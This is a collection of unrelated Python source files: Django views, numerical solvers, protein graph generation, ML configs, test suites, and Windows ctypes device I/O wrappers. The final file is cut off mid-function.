def get_context_data(self, *args, **kwargs): kwargs.update(self.extra_context) return super().get_context_data(*args, **kwargs) def form_valid(self, form): form.instance.task_creator = self.request.user form.instance.task_created = timezone.now return super().form_valid(form) def take_task(request, pk): task = Task.objects.get(pk=pk) task.task_taker = request.user.username task.time_taken = timezone.now() task.save() return redirect('task_list') def task_done(request, pk): task = Task.objects.get(pk=pk) task.time_done = timezone.now() task.save() return redirect('task_list') #lecturer def view_lecturer(request): return render(request, 'lecturer/lecturer.html') class HomePageView(TemplateView): template_name = 'lecturer/home.html' class SearchResultsView(ListView): model = Lecturer template_name = 'lecturer/search_results.html' def get_queryset(self): # new query = self.request.GET.get('q') object_list = Lecturer.objects.filter( Q(instructor__icontains=query) | Q(Title__icontains=query) ) return object_list
python
from .GridArea import GridArea class GridColumn: def __init__(self, position_marker, grid_size): self.position = position_marker self.column = [] for i in range(grid_size): self.column.append(GridArea(i)) def get_position(self): return self.position def column_position(self, column_index): a = column_index > -1 b = column_index <= (self.number_of_columns() - 1) if a & b: return self.column[column_index] return None def has_space(self): open_space = False for column_space in self.column: if not open_space: open_space = column_space.open() return open_space def number_of_columns(self): return len(self.column) def get_columns(self): return self.column
python
import numpy as np class Solver: def __init__(self, matrix, vector, initialVector, precision, gamma): self.initialVector = initialVector self.precision = precision self.matrix = matrix self.bVector = vector self.gamma = gamma # lower triangular part self.l = np.tril(matrix, -1) # upper triangular part self.u = np.triu(matrix, 1) # diagonal component self.d = np.diag(np.diag(matrix)) # init Q - must be set by subclases self.q = None self.qinv = None def solve(self): """Starts to compute iterations and then returns count of iterations and result.""" iterationCount = 0 x = None if self.canConverge(): x = self.initialVector while self.isNotPreciseEnough(x): iterationCount = iterationCount + 1 x = self.doIteration(x) return iterationCount, x def canConverge(self): """Can converge if the value of spectral radius is less than 1.""" e = np.identity(self.matrix.shape[0], dtype = np.float64) return self.getSpectralRadius(e - self.qinv @ self.matrix) < 1 def isNotPreciseEnough(self, iteration): """Chech whether precision is not already sufficient.""" return (np.linalg.norm(self.matrix @ iteration - self.bVector) / np.linalg.norm(self.bVector)) > self.precision def doIteration(self, lastIteration): """Does next iteration.""" return self.qinv @ (self.q - self.matrix) @ lastIteration + self.qinv @ self.bVector def getSpectralRadius(self, matrix): """Returns max absolute eigenvalue of matrix, aka spectral radius.""" return max(abs(np.linalg.eigvals(matrix))) class JacobiSolver(Solver): def __init__(self, matrix, vector, initialVector, precision, gamma): super().__init__(matrix, vector, initialVector, precision, gamma) self.q = self.d self.qinv = np.linalg.inv(self.q) class GaussSeidelSolver(Solver): def __init__(self, matrix, vector, initialVector, precision, gamma, omega = 1): super().__init__(matrix, vector, initialVector, precision, gamma) self.omega = omega self.q = (1 / omega) * self.d + self.l self.qinv = np.linalg.inv(self.q) ### ----- config # parameters gamma = 3 omega = 1 precision = 10**-6 # matrix matrix = np.zeros((20, 20), dtype = np.float64) np.fill_diagonal(matrix, gamma) np.fill_diagonal(matrix[:, 1:], -1) # upper part np.fill_diagonal(matrix[1:, :], -1) # lower part # vector b bVector = np.full((20, 1), gamma - 2, dtype = np.float64) bVector[0] = bVector[0] + 1 bVector[-1] = bVector[-1] + 1 # initial vector initialVector = np.zeros(bVector.shape, dtype = np.float64) ### ----- solver # use one of these: #solver = JacobiSolver(matrix, bVector, initialVector, precision, gamma) solver = GaussSeidelSolver(matrix, bVector, initialVector, precision, gamma, omega) solver.solve()
python
# coding=utf-8 class AppError(Exception): code = 0 http_code = 400
python
""" Generating structure graphs for graph convolutional neural networks """ import os from os.path import isfile from enum import Enum, auto import numpy as np from scipy.spatial.distance import cdist import networkx as nx from biopandas.pdb import PandasPdb import constants import utils class GraphType(Enum): LINEAR = auto() COMPLETE = auto() DISCONNECTED = auto() DIST_THRESH = auto() DIST_THRESH_SHUFFLED = auto() def save_graph(g, fn): """ Saves graph to file """ nx.write_gexf(g, fn) def load_graph(fn): """ Loads graph from file """ g = nx.read_gexf(fn, node_type=int) return g def shuffle_nodes(g, seed=7): """ Shuffles the nodes of the given graph and returns a copy of the shuffled graph """ # get the list of nodes in this graph nodes = g.nodes() # create a permuted list of nodes np.random.seed(seed) nodes_shuffled = np.random.permutation(nodes) # create a dictionary mapping from old node label to new node label mapping = {n: ns for n, ns in zip(nodes, nodes_shuffled)} g_shuffled = nx.relabel_nodes(g, mapping, copy=True) return g_shuffled def linear_graph(num_residues): """ Creates a linear graph where each each node is connected to its sequence neighbor in order """ g = nx.Graph() g.add_nodes_from(np.arange(0, num_residues)) for i in range(num_residues-1): g.add_edge(i, i+1) return g def complete_graph(num_residues): """ Creates a graph where each node is connected to all other nodes""" g = nx.complete_graph(num_residues) return g def disconnected_graph(num_residues): g = nx.Graph() g.add_nodes_from(np.arange(0, num_residues)) return g def dist_thresh_graph(dist_mtx, threshold): """ Creates undirected graph based on a distance threshold """ g = nx.Graph() g.add_nodes_from(np.arange(0, dist_mtx.shape[0])) # loop through each residue for rn1 in range(len(dist_mtx)): # find all residues that are within threshold distance of current rns_within_threshold = np.where(dist_mtx[rn1] < threshold)[0] # add edges from current residue to those that are within threshold for rn2 in rns_within_threshold: # don't add self edges if rn1 != rn2: g.add_edge(rn1, rn2) return g def ordered_adjacency_matrix(g): """ returns the adjacency matrix ordered by node label in increasing order as a numpy array """ node_order = sorted(g.nodes()) adj_mtx = nx.to_numpy_matrix(g, nodelist=node_order) return np.asarray(adj_mtx).astype(np.float32) def cbeta_distance_matrix(pdb_fn, start=0, end=None): # note that start and end are not going by residue number # they are going by whatever the listing in the pdb file is # read the pdb file into a biopandas object ppdb = PandasPdb().read_pdb(pdb_fn) # group by residue number grouped = ppdb.df["ATOM"].groupby(["residue_number"]) # a list of coords for the cbeta or calpha of each residue coords = [] # loop through each residue and find the coordinates of cbeta for i, (residue_number, values) in enumerate(grouped): # skip residues not in the range end_index = (len(grouped) if end is None else end) if i not in range(start, end_index): continue residue_group = grouped.get_group(residue_number) atom_names = residue_group["atom_name"] if "CB" in atom_names.values: # print("Using CB...") atom_name = "CB" elif "CA" in atom_names.values: # print("Using CA...") atom_name = "CA" else: raise ValueError("Couldn't find CB or CA for residue {}".format(residue_number)) # get the coordinates of cbeta (or calpha) coords.append( residue_group[residue_group["atom_name"] == atom_name][["x_coord", "y_coord", "z_coord"]].values[0]) # stack the coords into a numpy array where each row has the x,y,z coords for a different residue coords = np.stack(coords) # compute pairwise euclidean distance between all cbetas dist_mtx = cdist(coords, coords, metric="euclidean") return dist_mtx def gen_graph(graph_type, res_dist_mtx, dist_thresh=7, shuffle_seed=7, graph_save_dir=None, save=False): """ generate the specified structure graph using the specified residue distance matrix """ if graph_type is GraphType.LINEAR: g = linear_graph(len(res_dist_mtx)) save_fn = None if not save else os.path.join(graph_save_dir, "linear.graph") elif graph_type is GraphType.COMPLETE: g = complete_graph(len(res_dist_mtx)) save_fn = None if not save else os.path.join(graph_save_dir, "complete.graph") elif graph_type is GraphType.DISCONNECTED: g = disconnected_graph(len(res_dist_mtx)) save_fn = None if not save else os.path.join(graph_save_dir, "disconnected.graph") elif graph_type is GraphType.DIST_THRESH: g = dist_thresh_graph(res_dist_mtx, dist_thresh) save_fn = None if not save else os.path.join(graph_save_dir, "dist_thresh_{}.graph".format(dist_thresh)) elif graph_type is GraphType.DIST_THRESH_SHUFFLED: g = dist_thresh_graph(res_dist_mtx, dist_thresh) g = shuffle_nodes(g, seed=shuffle_seed) save_fn = None if not save else \ os.path.join(graph_save_dir, "dist_thresh_{}_shuffled_r{}.graph".format(dist_thresh, shuffle_seed)) else: raise ValueError("Graph type {} is not implemented".format(graph_type)) if save: if isfile(save_fn): print("err: graph already exists: {}. to overwrite, delete the existing file first".format(save_fn)) else: utils.mkdir(graph_save_dir) save_graph(g, save_fn) return g def gen_all_graphs(): """ generate all structure graphs for all datasets """ thresholds = [4, 5, 6, 7, 8, 9, 10] shuffle_seed = 7 for ds_name in constants.DATASETS.keys(): cbeta_mtx = cbeta_distance_matrix(constants.DATASETS[ds_name]["pdb_fn"]) for graph_type in GraphType: if graph_type in [GraphType.DIST_THRESH, GraphType.DIST_THRESH_SHUFFLED]: for threshold in thresholds: gen_graph(graph_type, cbeta_mtx, dist_thresh=threshold, shuffle_seed=shuffle_seed, graph_save_dir="data/{}/graphs".format(ds_name), save=True) else: gen_graph(graph_type, cbeta_mtx, graph_save_dir="data/{}/graphs".format(ds_name), save=True) def main(): gen_all_graphs() if __name__ == "__main__": main()
python
""" passage i am very tired, but this is very good class i am learning many new things dictionary is amazing this is very interesting i like this this is new { 'i': 3, 'am': 4, 'very': 2, 'hello': 2, 'ball': 1 } """ passage = input() words = passage.split() freq = {} for word in words: freq[word] = freq.get(word, 0) + 1 print(freq) """ passage = hello world words = ['hello', 'world'] freq = {} word = 'hello' freq['hello'] += 1 freq['hello'] = freq.get('hello', 0) + 1 """
python
import sys import glob from scipy.io.wavfile import write sys.path.insert(0,'lib/build-src-RelDebInfo') sys.path.insert(0,'library/build-src-Desktop-RelWithDebInfo') import WaveRNNVocoder import numpy as np vocoder=WaveRNNVocoder.Vocoder() vocoder.loadWeights('model_outputs/model.bin') # mel_file='../TrainingData/LJSpeech-1.0.wavernn/mel/00001.npy' # mel1 = np.load(mel_file) # mel1 = mel1.astype('float32') # wav=vocoder.melToWav(mel) # print() filelist = glob.glob('eval/mel*.npy') for fname in filelist: mel = np.load(fname).T wav = vocoder.melToWav(mel) break #scaled = np.int16(wav/np.max(np.abs(wav)) * 32767) write('test.wav',16000, wav) print() fnames=['inputs/00000.npy','inputs/mel-northandsouth_01_f000001.npy'] mel0=np.load(fnames[0]) mel1=np.load(fnames[1]).T mel2=np.load(filelist[0]).T
python
import requests url = 'http://localhost:5050/predict' body = { "text": "The insurance company is evil!" } response = requests.post(url, data=body) print(response.json())
python
""" Copyright 2016 Brocade Communications Systems, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import json import re from st2actions.runners.pythonrunner import Action from lib import ztp_utils class IsImageCurrentAction(Action): def __init__(self, config): super(IsImageCurrentAction, self).__init__(config) self._images = self.config['software_images'] def run(self, images, keep_better): # {"hardware": "ICX7750-48F", "firmware": [{"version": "SWS08040A", "unit": 1}], "boot": "10.1.06T205"} data = json.loads(images) hardware = data['hardware'].split('-')[0] self._image=self._images['Brocade'][hardware] # Strip off everything but numbers and patch image = data["firmware"][0]['version'] match = re.compile('([a-zA-Z]+)([0-9]+[a-zA-Z]*)').match(image) imagetype = match.group(1) image = match.group(2) image = "%s.%s.%s" % (image[0:2], image[2:3], image[3:]) # Strip off everything but numbers and patch new_image = self._image.split('.')[0] match = re.compile('([a-zA-Z]+)([0-9]+[a-zA-Z]*)').match(new_image) new_imagetype = match.group(1) new_image = match.group(2) new_image = "%s.%s.%s" % (new_image[0:2], new_image[2:3], new_image[3:]) if image.upper() == new_image.upper() and imagetype.upper() == new_imagetype.upper(): return (True, "Existing code is the same") if not imagetype.upper() == new_imagetype.upper(): print('Note: Router vs switch mis-match') return (False,self._image) if keep_better == 'yes' and ztp_utils.compare_versions(image.upper(),new_image.upper()): return (True, "Existing code is better") return (False, self._image)
python
# Copyright 2019 The WPT Dashboard Project. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import contextlib import gzip import tempfile import unittest import warnings import test_util from wptscreenshot import WPTScreenshot class WPTScreenshotTest(unittest.TestCase): def setUp(self): self.server, base_url = test_util.start_server(True) self.api = base_url + '/api/screenshots/upload' # We would like to make ResourceWarning (unclosed files) fatal, but # -Werror::ResourceWarning does not work since the error is often # "unraisable", so we have to use a context manager to record warnings. self.context = contextlib.ExitStack() # This is equivalent to a test-scope # `with warnings.catch_warnings(record=True) as self.warnings`. self.warnings = self.context.enter_context( warnings.catch_warnings(record=True)) def tearDown(self): if self.server.poll() is None: self.server.kill() self.context.close() messages = [w.message for w in self.warnings] self.assertListEqual(messages, []) def _batch_sizes(self, err_text): s = [] for i in err_text.decode('ascii').splitlines(): s.append(int(i)) return s def test_basic(self): with tempfile.NamedTemporaryFile() as f: f.write(b'data:image/png;base64,0001\n') f.write(b'data:image/png;base64,0002\n') f.flush() with WPTScreenshot(f.name, api=self.api, processes=1) as s: s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertListEqual(sizes, [2]) def test_gzip(self): with tempfile.NamedTemporaryFile(suffix='.gz') as f: with gzip.GzipFile(filename=f.name, mode='wb') as g: g.write(b'data:image/png;base64,0001\n') g.write(b'data:image/png;base64,0002\n') f.flush() with WPTScreenshot(f.name, api=self.api, processes=1) as s: s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertListEqual(sizes, [2]) def test_invalid_encoding(self): with tempfile.NamedTemporaryFile() as f: f.write(b'\xc8\n') f.flush() with self.assertRaises(UnicodeDecodeError): with WPTScreenshot(f.name, api=self.api, processes=1) as s: s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertListEqual(sizes, []) def test_invalid_gzip(self): with tempfile.NamedTemporaryFile(suffix=".gz") as f: f.write(b'Hello\n') f.flush() with self.assertRaises(OSError): with WPTScreenshot(f.name, api=self.api, processes=1) as s: s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertListEqual(sizes, []) def test_multiple_batches(self): with tempfile.NamedTemporaryFile() as f: f.write(b'data:image/png;base64,0001\n') f.write(b'data:image/png;base64,0002\n') f.write(b'data:image/png;base64,0003\n') f.flush() with WPTScreenshot(f.name, api=self.api, processes=2) as s: s.MAXIMUM_BATCH_SIZE = 2 s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertSetEqual(set(sizes), {1, 2}) def test_errors(self): with tempfile.NamedTemporaryFile() as f: f.write(b'invalid,0001\n') f.write(b'data:image/png;base64,0002\n') f.write(b'data:image/png;base64,0\n') f.flush() with self.assertLogs() as lm: with WPTScreenshot(f.name, api=self.api, processes=1) as s: s.process() self.server.terminate() _, err = self.server.communicate() sizes = self._batch_sizes(err) self.assertListEqual(sizes, [1]) self.assertListEqual( lm.output, ['ERROR:wptscreenshot:Invalid data URI: invalid,0001', 'ERROR:wptscreenshot:Invalid base64: data:image/png;base64,0'])
python
import uasyncio as asyncio from uibbq import iBBQ def handle_data(d): print("Result:", d) async def run(): ibbq = iBBQ(handle_data) await ibbq.connect() print("Battery:", await ibbq.battery_level()) await asyncio.sleep(10) print("Disconnecting") await ibbq.disconnect() asyncio.run(run())
python
""" Module docstring """ def _output_rule_impl(ctx): output = ctx.attr.output.short_path.replace("\\", "/") expected_output = "{}__/some_out.txt".format(ctx.label.name) if not output.endswith(expected_output): fail("Expected short path endswith {}, got {}".format(expected_output, output)) if ctx.attr.contents: ctx.actions.write(ctx.attr.output, ctx.attr.contents) output_rule = rule( attrs = { "output": attr.output(), "contents": attr.string(), }, implementation = _output_rule_impl, ) output_rule_with_default = rule( attrs = { "output": attr.output( default = "out.txt", mandatory = False, ), "contents": attr.string(), }, implementation = _output_rule_impl, )
python
# Copyright (c) SenseTime. All Rights Reserved. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from yacs.config import CfgNode as CN __C = CN() cfg = __C __C.META_ARC = "siamcar_r50" __C.CUDA = True # ------------------------------------------------------------------------ # # Training options # ------------------------------------------------------------------------ # __C.TRAIN = CN() # Anchor Target __C.TRAIN.EXEMPLAR_SIZE = 127 __C.TRAIN.SEARCH_SIZE = 255 __C.TRAIN.OUTPUT_SIZE = 25 __C.TRAIN.RESUME = '' __C.TRAIN.PRETRAINED = '' __C.TRAIN.LOG_DIR = './logs' __C.TRAIN.SNAPSHOT_DIR = './snapshot' __C.TRAIN.EPOCH = 20 __C.TRAIN.START_EPOCH = 0 __C.TRAIN.BATCH_SIZE = 32 __C.TRAIN.NUM_WORKERS = 1 __C.TRAIN.MOMENTUM = 0.9 __C.TRAIN.WEIGHT_DECAY = 0.0001 __C.TRAIN.CLS_WEIGHT = 1.0 __C.TRAIN.LOC_WEIGHT = 2.0 __C.TRAIN.CEN_WEIGHT = 1.0 __C.TRAIN.PRINT_FREQ = 20 __C.TRAIN.LOG_GRADS = False __C.TRAIN.GRAD_CLIP = 10.0 __C.TRAIN.BASE_LR = 0.005 __C.TRAIN.LR = CN() __C.TRAIN.LR.TYPE = 'log' __C.TRAIN.LR.KWARGS = CN(new_allowed=True) __C.TRAIN.LR_WARMUP = CN() __C.TRAIN.LR_WARMUP.WARMUP = True __C.TRAIN.LR_WARMUP.TYPE = 'step' __C.TRAIN.LR_WARMUP.EPOCH = 5 __C.TRAIN.LR_WARMUP.KWARGS = CN(new_allowed=True) __C.TRAIN.NUM_CLASSES = 2 __C.TRAIN.NUM_CONVS = 4 __C.TRAIN.PRIOR_PROB = 0.01 __C.TRAIN.LOSS_ALPHA = 0.25 __C.TRAIN.LOSS_GAMMA = 2.0 # ------------------------------------------------------------------------ # # Dataset options # ------------------------------------------------------------------------ # __C.DATASET = CN(new_allowed=True) # Augmentation # for template __C.DATASET.TEMPLATE = CN() # for detail discussion __C.DATASET.TEMPLATE.SHIFT = 4 __C.DATASET.TEMPLATE.SCALE = 0.05 __C.DATASET.TEMPLATE.BLUR = 0.0 __C.DATASET.TEMPLATE.FLIP = 0.0 __C.DATASET.TEMPLATE.COLOR = 1.0 __C.DATASET.SEARCH = CN() __C.DATASET.SEARCH.SHIFT = 64 __C.DATASET.SEARCH.SCALE = 0.18 # __C.DATASET.SEARCH.SCALE = 0 __C.DATASET.SEARCH.BLUR = 0.0 __C.DATASET.SEARCH.FLIP = 0.0 __C.DATASET.SEARCH.COLOR = 1.0 # for detail discussion __C.DATASET.NEG = 0.0 __C.DATASET.GRAY = 0.0 __C.DATASET.NAMES = ('VID', 'COCO', 'DET', 'YOUTUBEBB') __C.DATASET.VID = CN() __C.DATASET.VID.ROOT = 'train_dataset/vid/crop511' # VID dataset path __C.DATASET.VID.ANNO = 'train_dataset/vid/train.json' __C.DATASET.VID.FRAME_RANGE = 100 __C.DATASET.VID.NUM_USE = 100000 # repeat until reach NUM_USE __C.DATASET.YOUTUBEBB = CN() __C.DATASET.YOUTUBEBB.ROOT = 'train_dataset/yt_bb/crop511' # YOUTUBEBB dataset path __C.DATASET.YOUTUBEBB.ANNO = 'train_dataset/yt_bb/train.json' __C.DATASET.YOUTUBEBB.FRAME_RANGE = 3 __C.DATASET.YOUTUBEBB.NUM_USE = -1 # use all not repeat __C.DATASET.COCO = CN() __C.DATASET.COCO.ROOT = 'train_dataset/coco/crop511' # COCO dataset path __C.DATASET.COCO.ANNO = 'train_dataset/coco/train2017.json' __C.DATASET.COCO.FRAME_RANGE = 1 __C.DATASET.COCO.NUM_USE = -1 __C.DATASET.DET = CN() __C.DATASET.DET.ROOT = 'train_dataset/det/crop511' # DET dataset path __C.DATASET.DET.ANNO = 'train_dataset/det/train.json' __C.DATASET.DET.FRAME_RANGE = 1 __C.DATASET.DET.NUM_USE = -1 __C.DATASET.GOT = CN() __C.DATASET.GOT.ROOT = 'train_dataset/got10k/crop511' # GOT dataset path __C.DATASET.GOT.ANNO = 'train_dataset/got10k/train.json' __C.DATASET.GOT.FRAME_RANGE = 50 __C.DATASET.GOT.NUM_USE = 100000 __C.DATASET.LaSOT = CN() __C.DATASET.LaSOT.ROOT = 'train_dataset/lasot/crop511' # LaSOT dataset path __C.DATASET.LaSOT.ANNO = 'train_dataset/lasot/train.json' __C.DATASET.LaSOT.FRAME_RANGE = 100 __C.DATASET.LaSOT.NUM_USE = 100000 __C.DATASET.VIDEOS_PER_EPOCH = 600000 #600000 # ------------------------------------------------------------------------ # # Backbone options # ------------------------------------------------------------------------ # __C.BACKBONE = CN() # Backbone type, current only support resnet18,34,50;alexnet;mobilenet __C.BACKBONE.TYPE = 'res50' __C.BACKBONE.KWARGS = CN(new_allowed=True) # Pretrained backbone weights __C.BACKBONE.PRETRAINED = '' # Train layers __C.BACKBONE.TRAIN_LAYERS = ['layer2', 'layer3', 'layer4'] # Layer LR __C.BACKBONE.LAYERS_LR = 0.1 # Switch to train layer __C.BACKBONE.TRAIN_EPOCH = 10 # ------------------------------------------------------------------------ # # Adjust layer options # ------------------------------------------------------------------------ # __C.ADJUST = CN() # Adjust layer __C.ADJUST.ADJUST = True __C.ADJUST.KWARGS = CN(new_allowed=True) # Adjust layer type __C.ADJUST.TYPE = "AdjustAllLayer" # ------------------------------------------------------------------------ # # RPN options # ------------------------------------------------------------------------ # __C.CAR = CN() # RPN type __C.CAR.TYPE = 'MultiCAR' __C.CAR.KWARGS = CN(new_allowed=True) # ------------------------------------------------------------------------ # # Tracker options # ------------------------------------------------------------------------ # __C.TRACK = CN() __C.TRACK.TYPE = 'SiamCARTracker' # Scale penalty __C.TRACK.PENALTY_K = 0.04 # Window influence __C.TRACK.WINDOW_INFLUENCE = 0.44 # Interpolation learning rate __C.TRACK.LR = 0.4 # Exemplar size __C.TRACK.EXEMPLAR_SIZE = 127 # Instance size __C.TRACK.INSTANCE_SIZE = 255 # Context amount __C.TRACK.CONTEXT_AMOUNT = 0.5 __C.TRACK.STRIDE = 8 __C.TRACK.SCORE_SIZE = 25 __C.TRACK.hanming = True __C.TRACK.NUM_K = 2 __C.TRACK.NUM_N = 1 __C.TRACK.REGION_S = 0.1 __C.TRACK.REGION_L = 0.44 # ------------------------------------------------------------------------ # # HP_SEARCH parameters # ------------------------------------------------------------------------ # __C.HP_SEARCH = CN() __C.HP_SEARCH.OTB100 = [0.35, 0.2, 0.45] __C.HP_SEARCH.GOT10K = [0.7, 0.06, 0.1] __C.HP_SEARCH.UAV123 = [0.4, 0.2, 0.3] __C.HP_SEARCH.LaSOT = [0.33, 0.04, 0.3]
python
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. """ Script to download a QnA Maker knowledge base (KB) from one QnA Maker resource to a json file. This script can be run from the command line (or from inside your IDE) using: python <path_to_this_file> --output <output_file_name> --slot <test/prod> Troubleshooting: - ModuleNotFoundError: No module named 'kb' -> Fix: set environment variable PYTHONPATH to repo root e.g.: export PYTHONPATH=/workspaces/MLOpsManufacturing/samples/mlops-for-azure-custom-question-answering """ from kb.util.env import Env from kb.util.qnaClient import QnaClient from argparse import ArgumentParser, Namespace import json def main(args: Namespace): env = Env() # Get the details of the KBs so they can be used in output/storage # folder names. source_client = QnaClient( env.qna_source_endpoint, env.qna_source_sub_key, env.qna_source_kb_id ) source_kb_details = source_client.get_kb_details() print( f"Source KB - Name: {source_kb_details['name']}, " "ID: {env.qna_source_kb_id}, Endpoint: {env.qna_source_endpoint}" ) # Download the source (where you are promoting from) KB question and # answers. print(f"\tDownloading source KB from {args.slot}...") source_qnas = source_client.download(args.slot) print("\t\tDownloaded.") with open(args.output, "w", encoding="utf-8") as f: f.write(json.dumps(source_qnas, sort_keys=True, indent=4)) print(f"\t\tSaved to file {args.output}.") print("Download completed (download-kb.py).") def parse_arguments(): argparse = ArgumentParser() argparse.add_argument( "-o", "--output", type=str, required=True, help="Output file name. File content will be JSON.", ) argparse.add_argument( "-s", "--slot", choices=["Test", "Prod"], required=True, help="Flag to determine from which slot the KB should be downloaded.", ) return argparse.parse_args() if __name__ == "__main__": main(parse_arguments())
python
from typing import List, Optional from citrine._rest.resource import Resource, ResourceTypeEnum from citrine._serialization import properties as _properties from citrine.informatics.data_sources import DataSource from citrine.informatics.descriptors import Descriptor from citrine.informatics.predictors import Predictor from citrine._rest.ai_resource_metadata import AIResourceMetadata __all__ = ['AutoMLPredictor'] class AutoMLPredictor(Resource['AutoMLPredictor'], Predictor, AIResourceMetadata): """[ALPHA] A predictor interface that builds a single ML model. The model uses the set of inputs to predict the output. Only one value for output is currently supported. Only one machine learning model is built. Parameters ---------- name: str name of the configuration description: str the description of the predictor inputs: list[Descriptor] Descriptors that represent inputs to the model output: Descriptor A single Descriptor that represents the output of the model training_data: Optional[List[DataSource]] Sources of training data. Each can be either a CSV or an GEM Table. Candidates from multiple data sources will be combined into a flattened list and de-duplicated by uid and identifiers. De-duplication is performed if a uid or identifier is shared between two or more rows. The content of a de-duplicated row will contain the union of data across all rows that share the same uid or at least 1 identifier. Training data is unnecessary if the predictor is part of a graph that includes all training data required by this predictor. """ _resource_type = ResourceTypeEnum.MODULE inputs = _properties.List(_properties.Object(Descriptor), 'config.inputs') output = _properties.Object(Descriptor, 'output') training_data = _properties.List(_properties.Object(DataSource), 'config.training_data', default=[]) typ = _properties.String('config.type', default='AutoML', deserializable=False) module_type = _properties.String('module_type', default='PREDICTOR') def __init__(self, name: str, *, description: str, output: Descriptor, inputs: List[Descriptor], training_data: Optional[List[DataSource]] = None): self.name: str = name self.description: str = description self.inputs: List[Descriptor] = inputs self.output: Descriptor = output self.training_data: List[DataSource] = training_data or [] def _post_dump(self, data: dict) -> dict: data['display_name'] = data['config']['name'] data['config']['outputs'] = [data['output']] data['config']['responses'] = [data['output']] return data @classmethod def _pre_build(cls, data: dict) -> dict: if 'outputs' in data['config']: data['output'] = data['config']['outputs'][0] elif 'responses' in data['config']: data['output'] = data['config']['responses'][0] return data def __str__(self): return '<AutoMLPredictor {!r}>'.format(self.name)
python
import dbus bus = dbus.SessionBus() notif = bus.get_object( "org.freedesktop.Notifications", "/org/freedesktop/Notifications" ) notify_interface = dbus.Interface(notif, "org.freedesktop.Notifications") last_id = 0 def notify(icon, title, message, progress=None, timeout=0): global last_id app_name = "HHH" id_num_to_replace = last_id # actions_list = dict(default='asd', Close='asdasd') actions_list = '' if progress: hint = dict(value=progress) else: hint = '' last_id = notify_interface.Notify( app_name, id_num_to_replace, icon, title, message, actions_list, hint, timeout )
python
import os import random import numpy as np import torch #https://pytorch.org/docs/stable/notes/randomness.html def set_seed(seed, logger=None): if logger: logger.debug(f'seed : {seed}') os.environ['PYTHONHASHSEED'] = str(seed) random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) #torch.cuda.manual_seed_all(seed) #不要 torch.backends.cudnn.deterministic = True # Trueにすると2週目以降早くなる?が、再現性を確保できなくなる torch.backends.cudnn.benchmark = False if __name__ == "__main__": # test from logging import getLogger, basicConfig logger = getLogger(__name__) basicConfig(level='DEBUG') seed = 20200219 print(seed) set_seed(seed, logger)
python
# The MIT License (MIT) # # Copyright (c) 2014-2016 Santoso Wijaya <[email protected]> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sub-license, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import ctypes import ctypes.wintypes as wintypes from ctypes import windll LPDWORD = ctypes.POINTER(wintypes.DWORD) LPOVERLAPPED = wintypes.LPVOID LPSECURITY_ATTRIBUTES = wintypes.LPVOID GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 CREATE_NEW = 1 CREATE_ALWAYS = 2 OPEN_EXISTING = 3 OPEN_ALWAYS = 4 TRUNCATE_EXISTING = 5 FILE_ATTRIBUTE_NORMAL = 0x00000080 FILE_FLAG_NO_BUFFERING = 0x20000000 FILE_FLAG_RANDOM_ACCESS = 0x10000000 INVALID_HANDLE_VALUE = -1 NULL = 0 FALSE = wintypes.BOOL(0) TRUE = wintypes.BOOL(1) def _CreateFile(filename, access, mode, creation, flags): """See: CreateFile function http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx """ CreateFile_Fn = windll.kernel32.CreateFileW CreateFile_Fn.argtypes = [ wintypes.LPWSTR, # _In_ LPCTSTR lpFileName wintypes.DWORD, # _In_ DWORD dwDesiredAccess wintypes.DWORD, # _In_ DWORD dwShareMode LPSECURITY_ATTRIBUTES, # _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes wintypes.DWORD, # _In_ DWORD dwCreationDisposition wintypes.DWORD, # _In_ DWORD dwFlagsAndAttributes wintypes.HANDLE] # _In_opt_ HANDLE hTemplateFile CreateFile_Fn.restype = wintypes.HANDLE return wintypes.HANDLE(CreateFile_Fn(filename, access, mode, NULL, creation, flags, NULL)) def _DeviceIoControl(devhandle, ioctl, inbuf, inbufsiz, outbuf, outbufsiz): """See: DeviceIoControl function http://msdn.microsoft.com/en-us/library/aa363216(v=vs.85).aspx """ DeviceIoControl_Fn = windll.kernel32.DeviceIoControl DeviceIoControl_Fn.argtypes = [ wintypes.HANDLE, # _In_ HANDLE hDevice wintypes.DWORD, # _In_ DWORD dwIoControlCode wintypes.LPVOID, # _In_opt_ LPVOID lpInBuffer wintypes.DWORD, # _In_ DWORD nInBufferSize wintypes.LPVOID, # _Out_opt_ LPVOID 